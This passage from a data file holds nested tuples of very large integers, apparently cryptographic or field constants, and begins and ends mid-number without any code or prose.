4135660150563530713232362888707127725594153656152481230900797525224620375029330 31917692676132160295705226411186948426351197223041581668485872150416444981, 1480169065440280659899698406895512724578457855934669315144385976742823294865797 703799826769419219695292005060903395810798858966889395738074531422556270450, 5030851947189276134242794905765414958533247595628466652869684056503059058345174 045955823187016476810875189619979432303981805166362681547552598728516287153, 8171181250691608770548118453102751004102384379884555918447947557967279845666108 591166787258677802935496498774686198010553448501367151441488791429033052617, 2517760738408578947567567904669697374595191906032718773445518077505570925350903 221905391318418570276123441295470350173229920931337699424893258851062595567, 4347250935220626261728602732898585726515476872964414746523147565241400473543721 687502020452951662161880030797385401566986168979439800190041626991222370371, 4585839377823432925157423131234042849784272884912560154319248877036744073950891 500217709020233048439939703409967351030508449391980739993623010634851248766, 1801051752778642273499867282528079350762682861606734238091445540955467163696330 752598950133432962228000935819391634088292088436349965593965688895093757746, 2365340183710127036582317991352883325700678623314929828505087054503999219389580 50263797208480121211663401226129528344437804850454933429891814488761917754, 6380234450590087410637057642345898386264591318121310615750348537915660243481375 339770700139344660222481583463492602753397131888958859610085781785229351416, 6359911121780645344565899993618251302676100776461476630122302828297802151675729 673962797054389527943268367404913284164747300619577632457494788127405981335, 7493102492528862286618306495961210928109603716347557571298378284539541852153639 153883527289538395202203512351678006993490011010233959867474631877641840770), 3886819015669224166881476206347672185709381584007567356108153238388582736312502 537666029108280096281106092600663982989173762491025972448168277207461345043), ((61531806170786627567646617470754093255991725957369082316617566917853995096306 96302201483814793451879088189210321930607508219205794253439446581958332776408, 7774691426167722486834102822872629549029851203215280595341483072410182865292803 357609742514044959959332163963745080501533794982955857835215758345848957178, 7130488061674581153226574572431921989329031721970645032167370550559388716673754 500577464735326726472384684387610552833233393376643438286460361003795629821, 7203253441072788072408989820941569811315284802595734830881582474887470607818233 944633648527934137113034061880256916680009731783014983540031240096596599190, 3924997009457274411125199777567961687747895596811932835132333441244728173602483 723638703794699095615286147553187440073337131165055946408519564073877917453, 3616167916896701616646893051950764913807991488517355947863651998730214541597459 373390058673028968004259603665046721898117861523102876984174590237396382726, 3022166600546572997488445063577513051647653847916437185236367261424112100151942 78405174694028613771109280097179121461088089431902812040100254448845686082, 2012988056691657637797376316115185141980847094570534763834788819311561912823880 804490080113336286961554242212973332552669159922734388798642152352475829709, 7094769763613618864843395682644639887380328472388165519927005862495822897613593 519477219375072149000811648557608428594929213720905836722671061365332046435, 3292245318050272239241103505348871531301115829433766616828436658283652495714315 948635578228660672729331125945264716694424664436265986509169709740142002634, 2029822560467258156482205302650249331442774990514349584829261269477872872765410 40188559959743938259862858467450512928687059423931993333038378891042595836, 7469213838792526714080781204259284501432516504228378727686037295239990230386131 744507640900893023108893562211100709998705451305073650687822597286815135862, 5680855405429258475686670675150340936277961982060824196527309714544895421424182 727280151615700267321161693118403142297217554878639118831230445841495781140, 2196026532317597997945033973571572129179190494063421068895363559674020477949075 905098561594238627427904851838006995565256965099540571024992916445616494955, 1743042693893350314922684145647050278557566348291032710665902810165343734876255 740430115637402618813115301331810906456520833850931119430691196234362532770, 8908662302155285787275200798499591178809466514268795587101259942745342451414318 532255108856762993486363277342466977904993452777366688629874552266189993992, 9042406842265480463544497934240404425429971680325605335853378132567685077898001 21026830157387690791250588049376548690099765643629177798006805123017408991, 4009954001069984738144648188176403523877402888520840759937304844626295622795995 921054856385651520479413044152541458597059069406922001040371549474948075381, 4685373952190438736546795455847570701947634381598945652375584447056738717407491 139072383765268442939914294147978399739368200677037085272718775603574352541, 8495848932786833419342780526678474583787143271882229785446456041034330223968228 229820005897179528457345168715761572576469447608150441683405021284414400054, 8062961918761912465738430398382389082663940756035510620024456647484604923149185 672601929290409294717124770425367528624694618736314174470835006360941238534, 2562164844784784681628877521032155716698997092234605112905777866087045323283948 398984894691982313405557296037370971023852727421707168966635159421639292796, 2957524935848420856594932731330319071468125429181935702590116710651467554328223 913105154528424363586834628635916588339210875206627049922141298544450689991, 5595405273886965148954394415773437085856380720024336411821363250232977789554024 594704932951006080745184501663205354645191702278445599486320412171875099036, 6438119319893964570547919814389988355621621844540972507874810316866642240206108 885951699220710122546700253497572183115744436077268964070102208393583381619, 4961208888899739490976111109054868489061320142936039091892611927084018813813949 095020551872494023475768278490213081978157114114525159361321780874846293205, 5875628615699381184074651647881126967116622034089009414868677058014084690113139 112996165556602698974393263242497685189837256880147247380053230901191906488, 4544190167808256425120698468209388701095678003462319423082659014712387192559637 776619446333432889738961386149095784643948630872520782277755884520990959194, 4612921241644811656572714949412755169677216186551998066376743185656089764138044 394056619811245926756371066146892112581192670937849080484558716520592171486, 6708402573731618947916032317375001871802261236507900907115810750235524029135517 855739713194643412514392529195170446893705280837088244978832748549148492918, 8210047140572054808193424873388369527876706377070051815613219027616513502686883 405989784996222839961628026635674866562449752893657735110649552154028030202, 6493725137307547472451597642849862272503524293144856514366959112472955968783094 210660632930848051955542693772515607384874475179714756431144600039643022528), 3810158795407485441767747123184909902777849917835888245937905373274981470332490 271391675991702911414470533326401863124342123740518380231712613783792788734), ((67303826942547989265325260082176592649189783282199475221658896117049295239649 11803667208027039136774319837366505806845412234068131391562918828678097707816, 5425672165698542528645467901514338943883820414183792113514543642014375406074081 080186134216839230068170320507341761695601081536872694829929114391422343504, 5166787530857564895445875223436284206113556770672663297111875392005315376411707 820075127221610977198854910172143878906368704374425976276680143801826794208, 2064300312511401507116157735408665947500698461981912620936231906129364267632290 575117551387565094979288662255618119893582295057058408711604472389814186083, 2529692903428490251200984979975926124280723679127173883498254127997061371442766 7420004458246622116685220269248665303766654283952530800943117470192180156, 8741886513867307721283625170815618732561804245711783001540526921456131416857912 505030831487702760635687326352803739870379784852579500293771032061831065980, 8633788288969904947848532526349321249791493807377724430883047006871899945751891 511506265217319898722433462801944712251198840711775143672107668974197842303, 7307105936429907198051696607559345986611941867741755144693754057135703003169393 510189607261809916418298940327090973854399752105458448627236867481650102952, 5617865923303714251496363836910570604250062366573503362198851374641987054115614 073978277637002137278609391109343484450350770923343016934958079429368000536, 2344559413094651378723335351615674833613033155546314237087664390098065180667965 339309626535572178669441333810183145695891575109987090473880591157961389065, 5902519137868063962836902557555554990555433521417241291358297445372233870857235 248774222424928607118027410535873275077598486879705616954264685735421162430, 5875192101050067587729691630094180283065222529587255409120741849403277621848944 368517398908439409618178912046913552276090520183312185140208277221675788583, 8176482823589453053573612250750230274178655035990775337309045018805542667664269 810701643326040812426558345781903910196417926714551709428491560079248918091, 7117680835807406038863756457168956391819996506182958565256892334360044979549424 957568446080738445320538389829031021738445929942261884281087997975851084322, 1731228675797829800205149286682683805844051855919265307980580043491812982971721 632782188241005563333643517052751799442790703486216094456502533041720155195, 6497936053694376980714615757238845201442851392755987728387794215145365331102598 206170800031866789869547658636853997360238127106654942259266897677088788077, 6476112257292329494165435956139668393014693566662343705771668273322579928837410 107066285522569033283107975331662031220905047151009608584829394178524979080, 1066722035304863610044096514615181757731295429563977491699669605041826125951721 134245322788149891358221580879391713776245865685226884993412196675121022594, 2952720519957531132183781344207582576932493521044689163235039696699950448143735 845481770688062472961198275863644989248529864004491514516025419951521375851, 8345146399862015857688567315449132910842832343111189701554719599727636542812612 727441729851017905570961277933759867184886647796890547095833264862312520963, 6796967039549347495060517379741124934563165803382283300926384270711593816704288 080220022930109828318408927557552517941243197162574160793311995230923339022, 6221070058328746161205804903182483251937885930946476267624909858844662798595480 211675062173644312151911332100135370572731529430587384279291383187019756331, 2988636195451507747989232197831466515392894899929805105699076514269135148480155 484684191512337050913857544466342984694370290924718767586819911622940959403, 5584416603407140656492349025974073190584679788577080959173608031676079521508143 756789852614529311531079692709714232650448663835736266875836952083014270315, 6318264878918769418942425789495299098582880258882233341767987077937558561172717 594465300096321239510495257982939989101578895757681438077260549591868827026, 7174854635558809036411117888681503689581093630511605464087567011289668889836780 050226769518200345187465752502293791324608078747159688859279799171240354870, 1883213331731250056080439109370641777840912251665722515676842587957261124401943 312725672244581829374371774905708046719854471253459940640920518742352755080, 8499325684726602738671986303533682564013382656878962436178801521684717586036870 179230359195846709947577189312845882035759893613591988885175873232128761886, 8052848826775484985807403554184359908699614582588472097921626062930181342679414 607774306924370806762241898753296440081375375363386463314190708330780716984, 3035301362163691883496946823660875881122982131750420146933899373217707437272964 266396987486973151002961935800987749616381719173967947019007506036056833848, 2243206594422503086582667156862855877337221843090397329641724001028830851741092 225302886592757557578272930224679252613270888300377747903806178405178479003, 3433932143473894214920776642921666453854937546082276886541431626176648775138274 114942405990984047693240284185470362320106683785528656999775324716006639229), 7722339078037294515858771522409820330272156300441429651375582010273031545976181 39887475731356085536695616340128146446394925819323250993318648578795311323), ((26409115725671767024791993033238495077673317996825997924157202715068375570469 32708058181387813233031432238340477694428471405195947797676713949064445035348, 8321442261199439601911955601411610361186007306274591426139127510118860169093760 114163452194819574495950898815872519833498259056531890796384186790393906314, 7021465588362138208256361321101391087408884306559304438647682456494236479517559 845199233844356546060411152227456369540522504030972607302777050808855491705, 3022080875151423314253858153466390244939532586908641559068030812499633096655283 876544449488781607330136093792878011959864209763744687792102312439048413006, 1899239420256299200985871170025057147699190875860650158181852678492174397582955 887647460972955292536621036389664611721807574561961898207079826622189389273, 8125548015574292193395064077020374958191927769757120230476972564245262017195893 258065566954209665552329425288319343095528040274271112316809241192695157640, 5159574527333756847813200947777699544600055422499684039497929245954588200512535 556618447810400584448175047669617800689962675906795202477347082723236454634, 1230698184793250750713079640500776778990581878190933645028459286266782887051015 499487150807046867402142910273095194497320811359219800569123327080122475774, 7992163572291597393506881125725864249089881928149582513189390243977700015117193 152468185996361640237931974377841890387468412127309741872746732781870078056, 2561442374597159784391021919324103145357122456489057625379370057478790821499585 704401448154977650808231349959386555763105881043832087531355249509758122665, 5574368632619644728223303841405832439237097770464049233683444822051977062026516 372670851402827207344018196727164165269930698239043591995850541213172604522, 4050404264039925474868575394411575006937715747086021719810456996632905041628822 769677989688367149579700208908027397085900089987625144367518112654022564863, 5003736538214303578203997840823660702493186597510766147419195511804381229472417 170413879261375140202289075057235427860714190529024313053465575802927136490, 1512936599432016662800196328190966467158719214463432371721275746887274918335446 836671533569611809462578033971495167042619182314621309394070211964337771563, 8547716044126930522981481373993700445173385013796367845995740058688928070278055 759627541219865057515074672129732099468666127303251482485034792368529336882, 7726940087873575868616393656583565731520062897681514396351482909147057129504085 71171573073423123294756546002549817778362416681330839227069742442318846852, 4392246735925193272541730141112954104466913325764142911679457978745069600535611 150964698686326538763365237609269343363078986767250121848784101553750560850, 7015741584608221651221998401988821702597288927139059240937940615868666316043184 762683400830351779686133787025593887365650428655722140305290451603137858814, 6578740557442707009748774035187275219559797240804928990852746615197306374623012 317813407700179994623897346982914852079454774183927747675942181589070077913, 6909075913615078988324327827005682693574733703365764659531435879666443393585892 207941076981997879003302496408990964554697478155109618028506659131606194768, 8503553214829918573859515250783065787722404660475193959372281988411416692644010 548021915856759462741486457872678557319575284053283493871175391736563509597, 2053213462050119562296830845768498673126798877713020180079108914019734612071861 882760868340647523308270347425021532371300334443695728440545128641100875424, 8166364488855657709073006992468212785689631848552411191669324236431244787879522 153265285803186010664660236433218580168812859425960182863308064019188734757, 5072118477064971942753654111690004479259156091518356191433436693207524271484346 937758268659780022086675504746897864808666374827484045885908192362613015911, 2628185562292726559067176698452406252456314308109160791373910746137895996850209 252286497979041366682129073468175527402892461616994175382546120319231215584, 8628737112269107074723328396630785293335477161274949986715331069118593725644784 538148814962862516785578187893607294043336982015270966003217651157978901975, 6801829280532384892533740081317462750441459766484180492926221704557316388542043 04825045181073877604398541636786528674111449494898512680211876437875267690, 7960706570136044796404413269264061144287109045737839028986685662248787906844951 916790596573506711785182633424432708832975936534521513458493259415937480836, 2600021358288648030016778369352637313065913200409620351885177514801238372141551 986913004675007606595106419795475560821485668024237708142032353408802336837, 4569296108288759319873928955451767798489393763637593200417705273476958928158659 383327869339597640179518064084192662511913692301334650643822757974081663984, 8539735940978423886769671063461324948320247339231305233682738483192491391401382 977351537012820888927779292090891053135190428509334898246371253871645446326, 4087375642186647205083832017022556223935116442046530842266737797815472555394143 555732938917279295611960856004835899275841932738061585331802687655294940355), 3459402080489509967439655216593904724832991991678299003769993165447052816357143 715955656086285951716041428448535032607974174470494738990126717708835908201), ((49481729163886033842807828522932211695040704351991845592357777495080967444643 67623613225505296820347756990950938543404862005567762018590344032801086585129, 7874622549508533439464128759951331468895892163771317118629546482432332571977629 795731578885025620773722887751575295811943381126974572464683466068788683846, 7846177129609438428757017578146640315630622389876371462392096293074238288093935 53299786130888342045076965470111319044308754127905795060416985543646890240, 6550409990307394872906350660004043235534051552940526501617859759808378446155775 8957923069486833170378622041658228802855572727584791654719141606318815540, 2017095877019717210048673866527310407209996000165236816585607312955660239509094 523045567808618757172771629695949796984637520300227924706876072583216277589, 3273763071972088077422032658134636864867481904863330072336847026824457615838190 340494601991268331552628031514653267757662667227819140117924976126831700459, 6291291974820342889030288114386076403667240374183596431070135659899452517673499 571266704444363526484297515554980799280626569828265335469546202355804091868, 5401939632524952857442402179917177214138233789356048635070498555551068063445985 296634282129652337477857152260720938338389155422907933291489234846341783860, 8134516879390661606904632745549938778547312765807011897410030797840792294770468 003391994415568766032448010343374504489651504713230664981952340961700568555, 7205705319840076471135464655468350518398483067228859445869097047982138331900628 5694648536210835969299196823389804331532388566686177900111672955392739504, 6487143794211556453816023713012071496005652882065011658443045276236447921898215 580793175699936331893341134234260958442674853147492153360321857794731614950, 2286380153893006428962185552538659787873476370753062580734630066380961728901462 777741845489935341840337289884739552931743274292005470463364872638765809288, 8485064300949182031709483625943468472578145402282359574104487109258945293373411 822359172166589247094689705589026303336517013907628132496822770196791050292, 8382702143187915658898522120717653852626646038055240215586251184402241355555592 272623431843969088290601602417638455149126824869674169638202602995285979275, 1607243060413090400512937338454176654423674812018618842503168729911940348118174 908306888128845007893692577939488150056541459483999077215954000553959145037, 6818988144451187712724058513973799537335165252034449635861898982091373005454448 350324798712427603278477075749200839952123793327509811196045923946930109648, 1040796934785248925178615610289027862688243330462574043794149496029987428178709 783701481995574977812002783968361885767514156553490159388576381817557538812, 5778361247056449666775807605808880510319512771399439685653428080251991971475757 666433865776810795112218008265277894430828529921643206308914886136522810315, 2919952613456629843758550791067923401835775347032744905582807480595410918965079 153286931239854014915876503239719425813616156786057692874338660996801374500, 8112313054201260221978939946489656963548108682558543451814743586541592856540537 135341268004677600241127491665717485187776688022741820993489438860966272594, 4989608854521890715890312003235734659094478546371956395400111232857140322454109 04296921355875031231870162657631645243000165101961927418011795521165264769, 8396398159426231843689494776135458725750290242426645548216456744985600963823592 78820931037966759097549181306754472926723640234670632280965858010042311738, 6751146510819887157178783261481059116246804351102514523704850288506148439999327 266644188319235772858646814895172856697004744780157428562144819127215179042, 6292427105327913271887243675305306583506788213671654541315476087017028084692923 893701786770208254601253792027764185436884951579655271467043164484818041835, 2118591410956296517837739818801032804024385010532966737230520478103094459892087 820357303240898027536032720135597881419951653507034004843137349489190400723, 2693592168605228302221317673367413255059468194382061543063217027911751186377725 880437550155532677076231786310832963464755353889378122588333229315553538726, 4391710666858550025070017433589412888016194126533620099113238999334581742230812 827937581726698559366066001735573650778865827966930871666803707731425998434, 8927559170828926234205610565045762876099616787186222921254701399126965395598957 13513134398687726549440310316413557470769615493988454988015042450740652294, 1490075086885692791786483912892400197193290029629612494284753617923232547737917 041970567054051044563853432630250665357365752348846750169713268033856548352, 8013228238207943318649718228803908992553351558845393367801652922753652363327642 098617988491391163204842529644222131921899710677852764721400539054037357772, 2406427470311903126308161491725485010800950362895513936814146871403930739270852 134798743692121458769918257183128407100396689611090372077829207930239837112, 8078289743653929592951646951929290012916845882888019847265071444580180255589148 789818629472328251928746585770977189948314777762224074954080700261246894584), 6965129826087996268086856696578326645219818172514415019969761298303040824877865 285703378579734064173723720615500079888333586700967108251254591560496945806), ((13615969564339406752365097985058154382008627369701722723628529884424470845776 17911308499645969653434223981159424748083183971219709850189991000032316860248, 4180645257717010777950616594533380906337220235931257085577733302133985293157743 79743572262708480421817061330352165716226500222842471488263145626206776015, 3818550110142031634965110843262824085167023172603271959276229027119980497641756 996231006372679883540643081326129377860648153702286731643424301385134419838, 5301961179052056797902358272130270929931149415875397173536845412378827858592535 407640009216074503097438398723629526301553703576648719693307133343243884125, 1969865020764744386850344704200722862921181498149320570819663173225470073438462 029370645983902469696720642591803917739243177978626433713571398779928504838, 3043981867161292357137120342285592515290664925491497031094153329715896806318031 762855481579198041860153423206201239912806570162075565862864548562923934951, 5053520679883427391748359840387907429176226963620147379273413785619624795288777 476265391953206773546383954607743839985907915907285362449667245013976258890, 4915312292433012004885353304531929040312543351677090551735813801380110870022248 941546432485830997750146438718807990971406132208165137618950062159054460487, 2007176678563027658610103739129161315091897673169059821828670859199356516495844 812291185881641930676383381083272805932904582563229040854263345702508711300, 7410063205892209282363102823902529604588926054415536101437586279391998138803509 260183270964868308463029860103559262882440235914855996662017202492061264105, 1774698427503632560528786383311229680189678836316534718980319569304563837906209 661462936369066847287269466317779084760267849930203691317119364357389620724, 7696667690651524796507993001228118143686570575487292750631391130214515705534995 343796858495665371478363738900987777823677691231614620937625892180028348595, 1889509286060626616338976176973953484292882777123470663456716680081375023329616 037277631036572319283007978786009371802795715280584696106343507645035748621, 3378703151512334870256839639727184225195861363271424337210371187220909495026360 561394100558391983327392125130243958383756499386215573115282355223458866919, 3351655541328184623663039349084374622248919823522603562905065309648258948316689 14129513749637917818228765508957984322066753444263658985008456188073852348, 6313446682982131282662603270775932333570930201602780384337473346984662246792949 963325077264239359796339607801417252551273076072361202152110601624696297093, 5455625536459906059361205730242840225557227381383898879266413756701431975064139 119775593497682205237161762153027535878065934177580473400546922106650859895, 7592595819312854333526714952145141909158182997901227522973069821146674534678542 165326531680722809096192736029483653058021446659373859307203095782594512499, 6858890353834164288267922329574556623920844349977565616599619798681296067768568 156838892986901943300856281653014379962157097351825240677114254294658749936, 2669055525024415779073444297894032697339094288651469658431445002578252700394943 842688880524995925914074985192402398317909345344068071029306638767897482351, 3874983245170438296869907912530382258571594608987951717726775771004096117347202 190929469433147081064404966741371656985477117264856133054872637559379636181, 3021023908353505699190775331510193635193779456334664857894084935490613629525089 489799661402810622098395037206772799451316004816554207251874706497450564131, 3891342857845660067634639586906544033568690302526120558788423277749230769702159 26401065993626380588616517399504769275457970547108070916941142710446447878, 3556368300600030634977721733627766735647403380498400305430450589359165180704001 685513809354091716664165162414210427071812893763169925935187710803694586709, 8900188418792506076797672455552355421710211548751677202645125979360051620965057 619754442449267793508791521582740571702720610372805630608412152942689376013, 2262747849543092707103475412702745552415418900761721154142546433719727511827623 249520096608916141745779019800472727244790531801213548551271906420574684616, 4223521985552970325227438134061696186665817451542985385732178985892742068242296 105243412576957620038581351430333542565106176911921905869089157791375412846, 6713290937955497774039096991475749844696812213197262056113604456576276179042059 550137044779957329948223044673746953328774715293398961370126927402905164031, 6350406101804033217342466836638793595585934657469670313931348655361943768385536 160468540709432626779974826780718723406516616464319043142375877862506830189, 6196045033946870756294961496295230173819818960144646211824796315494188266147346 297334550213214554750788962778166825832763050538968926970549254293955090016, 1667310553443301845841847070539248965822883524284935308293933785493356516190098 398970909842767195375450626859536783984191749785740044714940287635069868247, 8111922866205703287868288799513386445837407554719305385150218093575991141791094 292744582480393891067848909311307735086621666008884379097755957402975381614), 2612941161566341827159410028852400715535013560381279878227037169304710599083339 303152756408629901555013086087606805338593568974392364397137262888058234113), ((74434955613581417973551235110665748491949864980043037702828221056039958780427 99455666605929876241520394951636449316107760024450211067801618949149540572015, 6136845628215105554089452109708297153983754381585204714036013637805921347263938 260424943670912649402987503664606543564916046678186870658943222263369830823, 3173114734246919056524595842556252742987258759852124821315290668618599620098273 471720959482609517339404197168086942226440351386607133766316437090294539468, 4131020328967228255048880508161405103796833839195885343092109970526159784353353 430942580835711948791525039934282854369616898761312771264703583091200491361, 5677869505438153872735323397491722822413613679695922132313301790320697843844366 957984336821780007705422804930688796497694857704542608484815197966164350961, 7270333751791119250480204970123859475470794891044071354260511346432434928608193 184773074497495593012611222781665771197757148204553051170692850530692293855, 4689906600762253026774589929950941450752856737740368297877320763037745860516427 573520577918795617268379588121425774833492633161062568612915462123054460152, 3049795289549367378509882609039607474029339934284612227513171186450767336923375 968523313246775172346867529118567096884819782851317058137567824491560352885, 1957224284261172998773587363530845810149406113123997737095683266397758558751104 650249294240041266734351298597241738168207442459968449495357169375203567963, 3333262476448280741042393625332015198043816210251028315797983644832206503609952 727338173484091341360908180199135348727577822819164368632965555757398853423, 2317677500237592951062545850420087812206460533280709972149697212525114160627161 346195330129956975241314505588917400840900775541771462556675663646131803370, 4324665955932834244672331515513661821036650999450082703289566645577996032461375 551705911973063831399300196463309916811179250494997866569735518854877087524, 8809497216910386527875111028042331158820253637683023190940516934543760583693650 603169283324148693530673757536379591643004519657192828735712042626344367202, 8086955940210220919652397808350232438220439823773341655723474922524351511456019 619564025271532297624592813242274044641058452518697156301818368674918478759, 8557573893217174654817133738581842949768734401863401032185054952444517009523907 087710869350308022283239182810016099626882408894035895821097763849867931511, 5654139264846929536106144983037899099901217553118048436731506489766387999847702 635011291382373013877026598386296281625093695721789209601964300217519949709, 2777357198648665826149617525055999512323128484791494977334091583297825290435509 485371815328422296180632228748002917243280335103831664787533155854703488489, 5935699878277283589480152331721051016499022677662826758630367307814985397791976 43933906869655535709597084150709621118340683983850330542142915399760411264, 1125142777752346870982689636014570338941091936978779504532929104727644364327587 682969041321736299481672376451118496551207293449821558891491521056129621792, 7562406820942224555700958024378421314431893422622073724211576440379704263523947 48917866460857449503099591043149322380613775787483295178554819368215022369, 5407682517734586429217309634192089479587250341817796726055403726809628410046410 096216567683845899402992835400435694866491810812791404650616984370528638854, 6158425133889963517547376128004246726876366782743737975052285832226162223563426 890314992299921932240198196405171355196139728256816536404739095550004835288, 7067632116072296405872626069462480718564903372285575862500929372635861673279349 78478424794665124962299641000241610127285034899687223538584490835188124917, 2021127439486472512318617562313287293990937482267719161140035447575557975653347 409889829351790523922368460050355683757569772619090004533876515949803710831, 4777996191290303717573657938031935144549218293145883190338615500926310877815589 685839833103083527272198512308104574376280649204285178640944039732890619098, 6074279090551990364925895155451484135815157079118337549498035767210755305892302 910163043604953523065292321756425584112423047302049818971732478821965279492, 5822196158789510058327553088694321190201703737039762434800989435332690171941874 756681176967881282486442385367719886199947423061779822365820436926632802484, 4557720398150093765773319201700184997463369000603646936170227820306124814939462 767694056935474529753246677266816744355015414965314644756425967140784304220, 9367167908399171915749804210488315619026380459217869778437582778951573944594364 89624330679920333446548600162086303447564356552240770323770295949555103200, 2260228232937878852650429359677621267307389946625441520651739631880863861923210 326703979821473216713790029867563020636789584634160105518475035507898401368, 6246292642479514889394586340571967672531029648181048325134454218789252952468211 835766609297690760678213494251395186121813010008940428402120627273464460808, 8688146483535927110856594341133494652684012059619185100154457151234924717991857 54043390476402419639858801575343880910696840738812116213931256109506145649), 7589805400853459012539250009745317307150846051502379778874900332702113219286742 484195607329920796114168644043056028482911745794900240238347728427216332615), ((65958639039681631016392900236151243305695217027949120266165000164190173512939 60142416614402023794729433590206859369117994553150963669346641550547889867161, 7868425474628923624241568775611138542038278304895232036830932408781603274697730 821113299422952321986494526867329187894902119580532310671824021247305456980, 4918740398876353266499825011219709793793395294010681877199845480381237238510286 976712050304069401220308762914511054044225905132271183514429576069365540639, 8569206574162191078688715248229165640204287039806130960922319315487626331179554 206254077797961802474147697006913282231155909709515360315049616319155121658, 5784740256829520900398056478652391556764409096896725241315959414543226445230409 585649117353637795109014955454536815568915608931307710879978569171169836825, 4086834465687811972124198214010797425299715854865435324137635905608690607552464 346014982936690379678685322029795202136648033125737729117978538471539186352, 4767023695393611381037597716272936444338107634612634230627575891857880296998058 708926939242672238071896579518606482465338702924844979618081284566830431592, 3165825211085507257992813308941859345177070032206653490139423699946797622223014 769126816958141667788973427966027212064256222713029730772065957365842155764, 1376108896051874970191644468711141287650815286378465412257818032460187515107813 347014603521778357063393087919055855368597810791564876550592885232361922158, 3663553374810051245704763139348759258434559722715558121189473135651968770574480 834647716867070238726551179490957544381199110309966050052639577462425937367, 6354109157486578452970597277012684298282812863327580132303062062807233467135365 475504489883596704893825526566172264972155034495826090769131470128842168284, 4732481519188612405434163529496337473599187206057053349039249229408251070528568 761759230130147868310378761954407761124203551741288489281307870751165203183, 5767763501685045803841883976781313438025541351782222880679591068777977119030241 51357773376121233759833952122222345859142825438419339432560994480619868714, 9758529806190766971504778203715785175340285774820957727610305750233961337975661 54880132020409171759986918371460403993001019720736146611445349403751897222, 6833967389870794652278576670238037428228687882775805323270176834351383347370495 616930285172555234221020883764320176805368247528837574730928989998252604532, 3514451585122607941439773754286135042914220009203391213025038418680733991670413 972572370901137764656629673228851058923045549870798167300093146926652609482, 5388681724911373422822063095942528647284610153642573340136476843512937068484745 263753747700807191648349868256794393297550207689775317469937735613824080577, 1029576636592875682413581964397328542947349750520112135575105969599378064296341 863081087688862653972762806194526599094732688806295104225719601439902689304, 3288794939378561481853438053238650915682155791861650037297376287530009764033066 249119323229888630396140919400282637825826835135361396808628015673070180702, 7852858344335387291111667782514738140510507904423462909059260352988378586451828 887910424044290525240459438254716670165403490293430174855320962433113240184, 4370050033894168029415641770140152714138220939115854283525316818052469044841836 016959803289803844290641926011423686151181219267894579746761189122795115759, 8335996730676388410683958778231197137581029718228065805235855216659289191055269 428892870699661823988832961257749773632256605368952634324807976568461845965, 2053777596250773609506580756423846873839190655204759148038354183776029831000867 548629353925662979275223393861924311514667440496590679370534621559288251315, 6482348480773453401286257626025521080092599671180983372546608766611637393777859 514588255451494861297358546536397057202555813542487866130060603098689154301, 7617034434319107987394035301201240578403174834598707562776823957363909845796855 563731346233486957694246334488993522313343528848775903021426323575765231444, 4628131219363499626214171141820960323013085285566973793515318409328217494421411 743900177843415405850554049593343550000294078500380022369498234656008517707, 7767071788143892114989687548226083400555107604044277575503605745433564812278227 337102351798960444213914727070550273274475502416126300670957920848236846468, 8212544336255239590766011505265579415078972025794567893211079543724707589526849 86696510810183870739765508842771563196630611682194484776868287809260080784, 7924240956756438120082354927999717803355467121917423899264952616589703322228826 563780812425969492688844829197643589878052962211156565613764571712031526044, 4629993719193371468915816076562601754113338157986826308756469658447558299529785 112021598499792040842096287083615240614524896041638749261690461880202869214, 7945765930885354213343955391740377418659652312680383694392103448411698116222154 189624776296047007521782136726328187674141876458602184091976179724096910408, 7772982880051211023018048062424374010282382383921585400737878374274616582592130 767480675306137735073423509172622235244354583598776293857894895509238963161), 7083430629192367077997533613418453231003541052257823360245784168522447911587875 367345332989987900184107402072105536994205270074455777452740864987692552592), ((57447451552465983250004823948083465983200201533476271326199244676515718451028 20208779048309577889451484188583338699941645967087378521541127560601339723375, 7343754253729763889958918009515357072271260427026343060732109174659527385354801 33048516893534261600158271234994700789866631764190893260998836812703956834, 6374548829748209427694724309831158079046086235084575780359650225400560125166211 540312849475612944428364551383146719021877396939735610966117172988632027973, 1980251669274959453242465345601677163249608748723516651796612079722062665580577 581090270697467495336048813632682983941087775226900826551800954796628519257, 7529840342752323768890661218616700366694984027340578244337518687509630956998786 176561107227885794554303602017315637874384263245655027624733035861823736307, 1855578802806893667264929194232938485205037126240604782444410740869225613843183 615113113540395349007224737364949770949309442868690881825513078467315862182, 8588965089120115980947402216265426415936916810068560132874428059555084694727650 076923466438162329114975966408378149744985475111445727706935287625599093920, 3191173908626771690800139531594076812244026309282197323355792117203696216766846 988826936106653465684212856024029082443527107526125263118987296975521533598, 6294121655782748335122406854729551701137901015639620330235889331317829950382953 025402536677099652340625443532896588029242859650969752289937318111184257147, 3108873649221450094055567860264240212060138307324749073007690842081868078314377 703570417730682475015286149545196748492187137990898038030912986535936912611, 2077771991011424548637852607296836782607138407631762071927963361551816999656435 361571977275015793673118263943333179364639276428195517753862188914833758008, 1354117210099335822947596214040305516026986313853502288219446189235896670214167 281714800603684004920030683550701043920291148013676116001860924322991054223, 6907510966840800940630091047703841938240716063615950719964610495668345725764557 999622045153818558553777194198956444050599841464121487447854220913145297284, 7940270847683064038015724726203984546639072519942378674983190172540527380488563 328100864684448726805494090401069810489397026776575321266982312565122436651, 8873580142835907415768231804155311782879859232140821097477903546564966975928440 836603534060320752528728325846714273859120107164653348686960237805857271234, 9412283148467458231236808880507234009931138603189590547356391531203543945753667 38009390793342325967886554379129831885725758577820799819115535142877381580, 3737193180566978068252328437904335427476110563092003009416183539883675846637693 384760779631414412265444692867719979072167955201151063613776787769364676406, 7015334765393410424710332263768242871188144868415176465269430632295583401131219 731701775162409742696653013610258136460536049319324822811901711179191981633, 7914789032711717792676046775446072989090437066747161399450786514147909983592466 912008008042251655679229217474595980488369320368922182287641293041780946758, 5226941187845379729015981433272587863653990302157950903520948826528187577734902 191993318545398224879419801234867094445755749194309968934741682632627211527, 1188469360385111947493406786482729584936210961273366068447534015530468566492739 072548648908230727492666228439206516666087865218026615669913030836875051863, 8163630674548584763446592981479883738202737123700972048586816905150570354696568 863164215099265723854585901376064335140320243094350158380577614043690869208, 5487213440286830317385526760253985583229890813835973093695662513822235936307787 855411896261780260045707240349397020642752178454650030554464674862281743825, 4327671084268371826949622310911332846809246471325465737041083572422495957106012 397286786609948161015869139722746474828395711386122951730566137626889344834, 8909884780781856996776084260861532203039333763175567469666954349535771417068387 503142596138631201966912636280435137256957562282438245749391247808491710854, 1244697626596117005204636865227649446365894167934489112258036197760380277451275 333369377760354752762426443768224754073450400806354508441792963369613526738, 5013150123409905494160653711458639200031505261567425197824855091348795385369828 140118368050402891668074519707153448850126707479640388969282076014384333264, 2313832053717704308794390733978465294515280917826891124752601439030305834020638 684486715202787714462390849690171383772799825841021780946607559244931922194, 7759382754912095894871154622092555830408957499494825813861332582807309365224507 